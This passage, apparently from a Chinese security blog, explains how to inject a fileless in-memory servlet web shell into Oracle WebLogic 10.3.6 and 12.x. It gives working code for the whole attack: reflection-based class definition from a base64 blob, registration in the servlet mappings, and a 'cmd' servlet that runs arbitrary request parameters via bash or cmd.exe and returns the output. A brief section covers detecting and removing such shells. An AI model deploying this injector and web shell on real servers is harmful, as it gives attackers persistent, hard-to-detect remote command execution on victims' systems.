KClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UAIQAcAB0AAAAAAAIAAQAeAB8AAQAgAAAALwABAAEAAAAFKrcAAbEAAAACACEAAAAGAAEAAAAMACIAAAAMAAEAAAAFACMAJAAAAAQAJQAmAAIAIAAAAYoABAALAAAAoSsSArkAAwIATgQ2BBIEuAAFOgUZBcYAExkFtgAGEge2AAiZAAYDNgQVBJkAGAa9AAlZAxIKU1kEEgtTWQUtU6cAFQa9AAlZAxIMU1kEEg1TWQUtUzoGuAAOGQa2AA+2ABA6B7sAEVkZB7cAEhITtgAUOggZCLYAFZkACxkItgAWpwAFEhc6CSy5ABgBADoKGQoZCbYAGRkKtgAaGQq2ABuxAAAAAwAhAAAAOgAOAAAADwAJABAADAARABMAEgAlABMAKAAVAFYAFgBjABcAcwAYAIcAGQCPABoAlgAbAJsAHACgAB0AIgAAAHAACwAAAKEAIwAkAAAAAAChACcAKAABAAAAoQApACoAAgAJAJgAKwAsAAMADACVAC0ALgAEABMAjgAvACwABQBWAEsAMAAxAAYAYwA+ADIAMwAHAHMALgA0ADUACACHABoANgAsAAkAjwASADcAOAAKADkAAAAhAAX+ACgHADoBBwA6GVEHADv+AC4HADsHADwHAD1BBwA6AD4AAAAGAAIAPwBAAAEAQQAAAAIAQg==";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
            Field loader = servletContext.getClass().getDeclaredField("classLoader");
            loader.setAccessible(true);
            ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);
            Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

            //获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
            Field classLoader = servletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);
            //获取cachedClasses
            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            //把cmdServlet的class存入cachedClasses中
            Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
            put.setAccessible(true);
            put.invoke(cachedClasses_map, "cmdServlet", servlet_class);

            try {
                Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
                ServletStubImplConstructor.setAccessible(true);
                servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);
            } catch (Exception e) {
                Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);
                ServletStubImplConstructor.setAccessible(true);
                servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);
            }

            // 使用URLMathchHelper包装ServletStub
            Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
            URLMatchHelperConstructor.setAccessible(true);
            Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);

            // 添加到ServletMapping中,即代表注入servlet内存马成功
            if (mappings.get(URI) == null) {
                mappings.put(URI, umh);
                response.getWriter().println("success");
            }else{
                response.getWriter().println("already exist");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public void destroy() {
    }

}

恶意Servlet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.web;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class httpServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = resp.getWriter();
        out.println(output);
        out.flush();
        out.close();
        return;
    }
}

base64脚本,用于编码class文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package test1;

import sun.misc.BASE64Encoder;

import java.io.*;

public class run {
    public static void main(String[] args) {
        try{
            File file = new File("/Users/myzxcg/xx/IdeaProjects/web/target/classes/com/example/web/httpServlet.class");
            FileInputStream fileInputStream = new FileInputStream(file);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] bytes = new byte[4096];
            int len;
            while ((len = fileInputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,len);
            }
            String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
            System.out.println(encode.replaceAll("\\r|\\n",""));
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

#获取WebAppServletContext

#获取所有 Context

在weblogic 10/12下经过测试,不受协议影响

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<WebAppServletContext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for (weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
    java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
    childrenF.setAccessible(true);
    java.util.HashSet set = (java.util.HashSet) childrenF.get(applicationRuntime);
    java.util.Iterator iterator = set.iterator();
    while (iterator.hasNext()) {
        Object key = iterator.next();
        if (key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {
            Field contextF = key.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            WebAppServletContext context = (WebAppServletContext) contextF.get(key);
            list.add(context);
        }
    }
}

#从当前线程中获取 Context

已测试weblogic1036与weblogic12.1.3 成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Thread thread = Thread.currentThread();
try {
    //获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
    Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
    connectionHandler.setAccessible(true);
    Object http = connectionHandler.get(workentry);

    Field request1 = http.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

    Field context = servletRequest.getClass().getDeclaredField("context");
    context.setAccessible(true);
    webAppServletContext = (WebAppServletContext) context.get(servletRequest);

}catch (Exception e){
    //weblogic 1036
    Field context = workentry.getClass().getDeclaredField("context");
    context.setAccessible(true);
    webAppServletContext = (WebAppServletContext) context.get(workentry);
}
}catch(Exception e){}

#从Request获取 Context

Weblogic 1036不能用

1
weblogic.servlet.internal.WebAppServletContext servletContext = (WebAppServletContext) request.getServletContext();

#获取随机路径

获取到weblogic所有的WebAppServletContext后,可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置。

1
2
3
4
5
6
7
List<WebAppServletContext> contexts = findAllContext();
Iterator<WebAppServletContext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while (i.hasNext()) {
    WebAppServletContext context = i.next();
    sb.append(String.format("name %30s\\turl %30s\\tDocroot %s\\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

#内存马查杀

要找到是否有filter类型的内存马,只需在getFilterChain处下手即可;只要从FileManager中的filters删掉恶意filter,filter链就不会有恶意filter了。

filter类型的内存马有两个很致命的特点,第一是继承Filter类,第二因为我们使用defineClass加载的类,是不会有class文件落地的,因此查看它的类加载路径会返回null。

#测试注意事项

  1. 部署war包到Weblogic 1036注意Web.xml文件格式的问题

    1
    2
    3
    
    <web-app version="2.5" metadata-complete="true" xmlns="<http://java.sun.com/xml/ns/javaee>"
             xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
             xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee> <http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd>">
    
  2. 本地测试时,编写的代码使用到了Weblogic的依赖,打war包的时候需要添加在pom.xml中需要添加jar包的依赖。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    <dependency>
        <groupId>weblogic.servlet.internal</groupId><!--groupId和artifactId随便写-->
        <artifactId>weblogic-classes</artifactId>
        <version>1.0.0</version>
        <scope>system</scope>
        <systemPath>${project.basedir}/lib/weblogic-classes.jar</systemPath>
    </dependency>
    <dependency>
        <groupId>xxx</groupId>
        <artifactId>xxx</artifactId>
        <version>1.0.0</version>
        <scope>system</scope>
        <systemPath>${project.basedir}/lib/weblogic.server.merged.jar</systemPath>
    </dependency>
    
  3. 从docker中导出wlserver目录下的包后,提取出所有jar包再导入idea。(不然可能找不到weblogic-classes.jar包) windows命令

    1
    
    for /f "delims==" %a in ('dir /b /s C:\\Users\\xxx\\Desktop\\WeblogicEnvironment\\middleware\\bak\\*.jar')do copy /y "%a" C:\\Users\\xxx\\Desktop\\jar2\\
    

    Linux命令

    1
    2
    
    #复制modules下jar后缀文件到jar目录
    find modules/ -name "*.jar" |xargs -n1 -I {} cp {} ./jar/;
    

#参考

  1. Java安全之Weblogic内存马
  2. 红蓝必备 你需要了解的weblogic攻击手法
  3. Weblogic下的servlet内存马注入-无参照纯调试
加载评论